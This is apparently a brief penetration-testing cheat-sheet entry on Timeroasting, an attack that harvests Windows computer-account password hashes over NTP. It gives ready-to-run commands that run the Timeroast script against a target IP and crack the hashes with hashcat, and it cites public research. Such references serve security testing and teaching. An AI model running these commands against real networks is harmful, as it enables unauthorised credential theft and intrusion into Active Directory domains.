Roasting - Timeroasting

Timeroasting takes advantage of Windows’ NTP authentication mechanism, allowing unauthenticated attackers to effectively request a password hash of any computer account by sending an NTP request with that account’s RID

• SecuraBV/Timeroast - Timeroasting scripts by Tom Tervoort

  sudo ./timeroast.py 10.0.0.42 | tee ntp-hashes.txt
  hashcat -m 31300 ntp-hashes.txt
  

References#

• On the Applicability of the Timeroasting Attack - snovvcrash - December 8, 2024
• TIMEROASTING, TRUSTROASTING AND COMPUTER SPRAYING WHITE PAPER - Tom Tervoort
• Timeroasting: Attacking Trust Accounts in Active Directory - Tom Tervoort - 01 March 2023